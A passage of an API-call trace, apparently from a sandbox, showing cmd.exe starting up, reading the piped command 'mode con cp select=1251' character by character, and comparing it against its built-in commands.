returned 0xf4 [0257.068] GetFileType (hFile=0xf4) returned 0x3 [0257.068] _get_osfhandle (_FileHandle=1) returned 0xf4 [0257.068] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a01c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0257.068] WriteFile (in: hFile=0xf4, lpBuffer=0x4a01c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1efbc8, lpOverlapped=0x0 | out: lpBuffer=0x4a01c320*, lpNumberOfBytesWritten=0x1efbc8*=0x2, lpOverlapped=0x0) returned 1 [0257.068] _vsnwprintf (in: _Buffer=0x4a026340, _BufferCount=0x1fff, _Format="%s", _ArgList=0x1efbf8 | out: _Buffer="Copyright (c) 2009 Microsoft Corporation. All rights reserved.") returned 63 [0257.068] _get_osfhandle (_FileHandle=1) returned 0xf4 [0257.068] GetFileType (hFile=0xf4) returned 0x3 [0257.068] _get_osfhandle (_FileHandle=1) returned 0xf4 [0257.069] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Copyright (c) 2009 Microsoft Corporation. All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x4a01c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Copyright (c) 2009 Microsoft Corporation. All rights reserved.", lpUsedDefaultChar=0x0) returned 64 [0257.069] WriteFile (in: hFile=0xf4, lpBuffer=0x4a01c320*, nNumberOfBytesToWrite=0x3f, lpNumberOfBytesWritten=0x1efbc8, lpOverlapped=0x0 | out: lpBuffer=0x4a01c320*, lpNumberOfBytesWritten=0x1efbc8*=0x3f, lpOverlapped=0x0) returned 1 [0257.069] _vsnwprintf (in: _Buffer=0x4a026340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1efbf8 | out: _Buffer="\r\n") returned 2 [0257.069] _get_osfhandle (_FileHandle=1) returned 0xf4 [0257.069] GetFileType (hFile=0xf4) returned 0x3 [0257.069] _get_osfhandle (_FileHandle=1) returned 0xf4 [0257.069] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a01c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0257.069] WriteFile (in: hFile=0xf4, lpBuffer=0x4a01c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1efbc8, lpOverlapped=0x0 | out: lpBuffer=0x4a01c320*, lpNumberOfBytesWritten=0x1efbc8*=0x2, lpOverlapped=0x0) returned 1 [0257.069] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76e00000 [0257.069] GetProcAddress (hModule=0x76e00000, lpProcName="CopyFileExW") returned 0x76e123d0 [0257.069] GetProcAddress (hModule=0x76e00000, lpProcName="IsDebuggerPresent") returned 0x76e08290 [0257.069] GetProcAddress (hModule=0x76e00000, lpProcName="SetConsoleInputExeNameW") returned 0x76e117e0 [0257.069] _get_osfhandle (_FileHandle=0) returned 0xe8 [0257.069] GetFileType (hFile=0xe8) returned 0x3 [0257.069] _setmode (_FileHandle=0, _Mode=32768) returned 16384 [0257.069] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0x1efa20 | out: TokenHandle=0x1efa20*=0x0) returned 0xc000007c [0257.069] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0x1efa20 | out: TokenHandle=0x1efa20*=0x50) returned 0x0 [0257.069] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x12, TokenInformation=0x1efa30, TokenInformationLength=0x4, ReturnLength=0x1efa38 | out: TokenInformation=0x1efa30, ReturnLength=0x1efa38) returned 0x0 [0257.079] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x1a, TokenInformation=0x1efa38, TokenInformationLength=0x4, ReturnLength=0x1efa30 | out: TokenInformation=0x1efa38, ReturnLength=0x1efa30) returned 0x0 [0257.079] NtClose (Handle=0x50) returned 0x0 [0257.079] GetProcessHeap () returned 0x270000 [0257.079] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28aae0 | out: hHeap=0x270000) returned 1 [0257.122] _vsnwprintf (in: _Buffer=0x4a026340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1ef738 | out: _Buffer="\r\n") returned 2 [0257.122] _get_osfhandle (_FileHandle=1) returned 0xf4 [0257.122] GetFileType (hFile=0xf4) returned 0x3 [0257.122] _get_osfhandle (_FileHandle=1) returned 0xf4 [0257.122] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a01c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0257.122] WriteFile (in: hFile=0xf4, lpBuffer=0x4a01c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1ef708, lpOverlapped=0x0 | out: lpBuffer=0x4a01c320*, lpNumberOfBytesWritten=0x1ef708*=0x2, lpOverlapped=0x0) returned 1 [0257.122] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a00f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0257.122] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a01c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0257.122] _vsnwprintf (in: _Buffer=0x4a00eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x1ef748 | out: _Buffer="C:\\Windows\\system32") returned 19 [0257.122] _vsnwprintf (in: _Buffer=0x4a00eb86, _BufferCount=0x3eb, _Format="%c", _ArgList=0x1ef748 | out: _Buffer=">") returned 1 [0257.122] _get_osfhandle (_FileHandle=1) returned 0xf4 [0257.122] GetFileType (hFile=0xf4) returned 0x3 [0257.122] _get_osfhandle (_FileHandle=1) returned 0xf4 [0257.122] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Windows\\system32>", cchWideChar=-1, lpMultiByteStr=0x4a01c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Windows\\system32>", lpUsedDefaultChar=0x0) returned 21 [0257.122] WriteFile (in: hFile=0xf4, lpBuffer=0x4a01c320*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0x1ef738, lpOverlapped=0x0 | out: lpBuffer=0x4a01c320*, lpNumberOfBytesWritten=0x1ef738*=0x14, lpOverlapped=0x0) returned 1 [0257.122] _get_osfhandle (_FileHandle=0) returned 0xe8 [0257.122] GetFileType (hFile=0xe8) returned 0x3 [0257.122] _get_osfhandle (_FileHandle=0) returned 0xe8 [0257.122] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0257.122] ReadFile (in: hFile=0xe8, lpBuffer=0x4a01c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efa38, lpOverlapped=0x0 | out: lpBuffer=0x4a01c320*, lpNumberOfBytesRead=0x1efa38*=0x1, lpOverlapped=0x0) returned 1 [0257.122] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a01c320, cbMultiByte=1, lpWideCharStr=0x4a01e320, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0257.123] _get_osfhandle (_FileHandle=0) returned 0xe8 [0257.123] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0257.123] ReadFile (in: hFile=0xe8, lpBuffer=0x4a01c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efa38, lpOverlapped=0x0 | out: lpBuffer=0x4a01c320*, lpNumberOfBytesRead=0x1efa38*=0x1, lpOverlapped=0x0) returned 1 [0257.123] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a01c320, cbMultiByte=1, lpWideCharStr=0x4a01e322, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0257.123] _get_osfhandle (_FileHandle=0) returned 0xe8 [0257.123] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0257.123] ReadFile (in: hFile=0xe8, lpBuffer=0x4a01c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efa38, lpOverlapped=0x0 | out: lpBuffer=0x4a01c320*, lpNumberOfBytesRead=0x1efa38*=0x1, lpOverlapped=0x0) returned 1 [0257.123] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a01c320, cbMultiByte=1, lpWideCharStr=0x4a01e324, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0257.123] _get_osfhandle (_FileHandle=0) returned 0xe8 [0257.123] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0257.123] ReadFile (in: hFile=0xe8, lpBuffer=0x4a01c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efa38, lpOverlapped=0x0 | out: lpBuffer=0x4a01c320*, lpNumberOfBytesRead=0x1efa38*=0x1, lpOverlapped=0x0) returned 1 [0257.123] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a01c320, cbMultiByte=1, lpWideCharStr=0x4a01e326, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0257.123] _get_osfhandle (_FileHandle=0) returned 0xe8 [0257.123] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0257.123] ReadFile (in: hFile=0xe8, lpBuffer=0x4a01c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efa38, lpOverlapped=0x0 | out: lpBuffer=0x4a01c320*, lpNumberOfBytesRead=0x1efa38*=0x1, lpOverlapped=0x0) returned 1 [0257.123] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a01c320, cbMultiByte=1, lpWideCharStr=0x4a01e328, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0257.123] _get_osfhandle (_FileHandle=0) returned 0xe8 [0257.123] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0257.123] ReadFile (in: hFile=0xe8, lpBuffer=0x4a01c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efa38, lpOverlapped=0x0 | out: lpBuffer=0x4a01c320*, lpNumberOfBytesRead=0x1efa38*=0x1, lpOverlapped=0x0) returned 1 [0257.123] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a01c320, cbMultiByte=1, lpWideCharStr=0x4a01e32a, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0257.123] _get_osfhandle (_FileHandle=0) returned 0xe8 [0257.123] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0257.123] ReadFile (in: hFile=0xe8, lpBuffer=0x4a01c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efa38, lpOverlapped=0x0 | out: lpBuffer=0x4a01c320*, lpNumberOfBytesRead=0x1efa38*=0x1, lpOverlapped=0x0) returned 1 [0257.123] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a01c320, cbMultiByte=1, lpWideCharStr=0x4a01e32c, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0257.123] _get_osfhandle (_FileHandle=0) returned 0xe8 [0257.123] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0257.123] ReadFile (in: hFile=0xe8, lpBuffer=0x4a01c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efa38, lpOverlapped=0x0 | out: lpBuffer=0x4a01c320*, lpNumberOfBytesRead=0x1efa38*=0x1, lpOverlapped=0x0) returned 1 [0257.123] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a01c320, cbMultiByte=1, lpWideCharStr=0x4a01e32e, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0257.123] _get_osfhandle (_FileHandle=0) returned 0xe8 [0257.123] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0257.123] ReadFile (in: hFile=0xe8, lpBuffer=0x4a01c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efa38, lpOverlapped=0x0 | out: lpBuffer=0x4a01c320*, lpNumberOfBytesRead=0x1efa38*=0x1, lpOverlapped=0x0) returned 1 [0257.123] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a01c320, cbMultiByte=1, lpWideCharStr=0x4a01e330, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0257.123] _get_osfhandle (_FileHandle=0) returned 0xe8 [0257.123] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0257.123] ReadFile (in: hFile=0xe8, lpBuffer=0x4a01c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efa38, lpOverlapped=0x0 | out: lpBuffer=0x4a01c320*, lpNumberOfBytesRead=0x1efa38*=0x1, lpOverlapped=0x0) returned 1 [0257.123] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a01c320, cbMultiByte=1, lpWideCharStr=0x4a01e332, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0257.123] _get_osfhandle (_FileHandle=0) returned 0xe8 [0257.123] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0257.123] ReadFile (in: hFile=0xe8, lpBuffer=0x4a01c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efa38, lpOverlapped=0x0 | out: lpBuffer=0x4a01c320*, lpNumberOfBytesRead=0x1efa38*=0x1, lpOverlapped=0x0) returned 1 [0257.123] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a01c320, cbMultiByte=1, lpWideCharStr=0x4a01e334, cchWideChar=1 | out: lpWideCharStr="p") returned 1 [0257.123] _get_osfhandle (_FileHandle=0) returned 0xe8 [0257.123] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0257.123] ReadFile (in: hFile=0xe8, lpBuffer=0x4a01c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efa38, lpOverlapped=0x0 | out: lpBuffer=0x4a01c320*, lpNumberOfBytesRead=0x1efa38*=0x1, lpOverlapped=0x0) returned 1 [0257.124] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a01c320, cbMultiByte=1, lpWideCharStr=0x4a01e336, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0257.124] _get_osfhandle (_FileHandle=0) returned 0xe8 [0257.124] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0257.124] ReadFile (in: hFile=0xe8, lpBuffer=0x4a01c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efa38, lpOverlapped=0x0 | out: lpBuffer=0x4a01c320*, lpNumberOfBytesRead=0x1efa38*=0x1, lpOverlapped=0x0) returned 1 [0257.124] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a01c320, cbMultiByte=1, lpWideCharStr=0x4a01e338, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0257.124] _get_osfhandle (_FileHandle=0) returned 0xe8 [0257.124] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0257.124] ReadFile (in: hFile=0xe8, lpBuffer=0x4a01c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efa38, lpOverlapped=0x0 | out: lpBuffer=0x4a01c320*, lpNumberOfBytesRead=0x1efa38*=0x1, lpOverlapped=0x0) returned 1 [0257.124] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a01c320, cbMultiByte=1, lpWideCharStr=0x4a01e33a, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0257.124] _get_osfhandle (_FileHandle=0) returned 0xe8 [0257.124] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0257.124] ReadFile (in: hFile=0xe8, lpBuffer=0x4a01c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efa38, lpOverlapped=0x0 | out: lpBuffer=0x4a01c320*, lpNumberOfBytesRead=0x1efa38*=0x1, lpOverlapped=0x0) returned 1 [0257.124] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a01c320, cbMultiByte=1, lpWideCharStr=0x4a01e33c, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0257.124] _get_osfhandle (_FileHandle=0) returned 0xe8 [0257.124] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0257.124] ReadFile (in: hFile=0xe8, lpBuffer=0x4a01c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efa38, lpOverlapped=0x0 | out: lpBuffer=0x4a01c320*, lpNumberOfBytesRead=0x1efa38*=0x1, lpOverlapped=0x0) returned 1 [0257.124] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a01c320, cbMultiByte=1, lpWideCharStr=0x4a01e33e, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0257.124] _get_osfhandle (_FileHandle=0) returned 0xe8 [0257.124] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0257.124] ReadFile (in: hFile=0xe8, lpBuffer=0x4a01c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efa38, lpOverlapped=0x0 | out: lpBuffer=0x4a01c320*, lpNumberOfBytesRead=0x1efa38*=0x1, lpOverlapped=0x0) returned 1 [0257.124] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a01c320, cbMultiByte=1, lpWideCharStr=0x4a01e340, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0257.124] _get_osfhandle (_FileHandle=0) returned 0xe8 [0257.124] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0257.124] ReadFile (in: hFile=0xe8, lpBuffer=0x4a01c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efa38, lpOverlapped=0x0 | out: lpBuffer=0x4a01c320*, lpNumberOfBytesRead=0x1efa38*=0x1, lpOverlapped=0x0) returned 1 [0257.124] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a01c320, cbMultiByte=1, lpWideCharStr=0x4a01e342, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0257.124] _get_osfhandle (_FileHandle=0) returned 0xe8 [0257.124] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0257.124] ReadFile (in: hFile=0xe8, lpBuffer=0x4a01c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efa38, lpOverlapped=0x0 | out: lpBuffer=0x4a01c320*, lpNumberOfBytesRead=0x1efa38*=0x1, lpOverlapped=0x0) returned 1 [0257.124] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a01c320, cbMultiByte=1, lpWideCharStr=0x4a01e344, cchWideChar=1 | out: lpWideCharStr="=") returned 1 [0257.124] _get_osfhandle (_FileHandle=0) returned 0xe8 [0257.124] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0257.124] ReadFile (in: hFile=0xe8, lpBuffer=0x4a01c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efa38, lpOverlapped=0x0 | out: lpBuffer=0x4a01c320*, lpNumberOfBytesRead=0x1efa38*=0x1, lpOverlapped=0x0) returned 1 [0257.124] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a01c320, cbMultiByte=1, lpWideCharStr=0x4a01e346, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0257.124] _get_osfhandle (_FileHandle=0) returned 0xe8 [0257.124] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0257.124] ReadFile (in: hFile=0xe8, lpBuffer=0x4a01c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efa38, lpOverlapped=0x0 | out: lpBuffer=0x4a01c320*, lpNumberOfBytesRead=0x1efa38*=0x1, lpOverlapped=0x0) returned 1 [0257.124] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a01c320, cbMultiByte=1, lpWideCharStr=0x4a01e348, cchWideChar=1 | out: lpWideCharStr="2") returned 1 [0257.124] _get_osfhandle (_FileHandle=0) returned 0xe8 [0257.124] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0257.124] ReadFile (in: hFile=0xe8, lpBuffer=0x4a01c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efa38, lpOverlapped=0x0 | out: lpBuffer=0x4a01c320*, lpNumberOfBytesRead=0x1efa38*=0x1, lpOverlapped=0x0) returned 1 [0257.124] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a01c320, cbMultiByte=1, lpWideCharStr=0x4a01e34a, cchWideChar=1 | out: lpWideCharStr="5") returned 1 [0257.124] _get_osfhandle (_FileHandle=0) returned 0xe8 [0257.124] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0257.124] ReadFile (in: hFile=0xe8, lpBuffer=0x4a01c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efa38, lpOverlapped=0x0 | out: lpBuffer=0x4a01c320*, lpNumberOfBytesRead=0x1efa38*=0x1, lpOverlapped=0x0) returned 1 [0257.124] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a01c320, cbMultiByte=1, lpWideCharStr=0x4a01e34c, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0257.124] _get_osfhandle (_FileHandle=0) returned 0xe8 [0257.124] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0257.124] ReadFile (in: hFile=0xe8, lpBuffer=0x4a01c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1efa38, lpOverlapped=0x0 | out: lpBuffer=0x4a01c320*, lpNumberOfBytesRead=0x1efa38*=0x1, lpOverlapped=0x0) returned 1 [0257.124] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a01c320, cbMultiByte=1, lpWideCharStr=0x4a01e34e, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0257.125] _get_osfhandle (_FileHandle=0) returned 0xe8 [0257.125] GetFileType (hFile=0xe8) returned 0x3 [0257.125] _get_osfhandle (_FileHandle=0) returned 0xe8 [0257.125] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0257.125] _get_osfhandle (_FileHandle=1) returned 0xf4 [0257.125] GetFileType (hFile=0xf4) returned 0x3 [0257.125] _get_osfhandle (_FileHandle=1) returned 0xf4 [0257.125] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="mode con cp select=1251\n", cchWideChar=-1, lpMultiByteStr=0x4a01c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mode con cp select=1251\n", lpUsedDefaultChar=0x0) returned 25 [0257.125] WriteFile (in: hFile=0xf4, lpBuffer=0x4a01c320*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x1efa18, lpOverlapped=0x0 | out: lpBuffer=0x4a01c320*, lpNumberOfBytesWritten=0x1efa18*=0x18, lpOverlapped=0x0) returned 1 [0257.125] GetProcessHeap () returned 0x270000 [0257.125] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x4012) returned 0x28b310 [0257.125] GetProcessHeap () returned 0x270000 [0257.125] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x28b310 | out: hHeap=0x270000) returned 1 [0257.125] _wcsicmp (_String1="mode", _String2=")") returned 68 [0257.125] _wcsicmp (_String1="FOR", _String2="mode") returned -7 [0257.125] _wcsicmp (_String1="FOR/?", _String2="mode") returned -7 [0257.125] _wcsicmp (_String1="IF", _String2="mode") returned -4 [0257.126] _wcsicmp (_String1="IF/?", _String2="mode") returned -4 [0257.126] _wcsicmp (_String1="REM", _String2="mode") returned 5 [0257.126] _wcsicmp (_String1="REM/?", _String2="mode") returned 5 [0257.126] GetProcessHeap () returned 0x270000 [0257.126] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0xb0) returned 0x289840 [0257.126] GetProcessHeap () returned 0x270000 [0257.126] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x1a) returned 0x284630 [0257.126] GetProcessHeap () returned 0x270000 [0257.126] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x38) returned 0x286550 [0257.127] GetConsoleOutputCP () returned 0x1b5 [0257.127] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a01bfe0 | out: lpCPInfo=0x4a01bfe0) returned 1 [0257.127] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0257.127] GetConsoleTitleW (in: lpConsoleTitle=0x1ef9d0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0257.127] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0257.127] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0257.127] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0257.127] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0257.127] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0257.127] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0257.127] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0257.127] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0257.127] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0257.127] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0257.127] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0257.127] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0257.127] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0257.127] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0257.127] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0257.127] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0257.127] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0257.128] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0257.128] 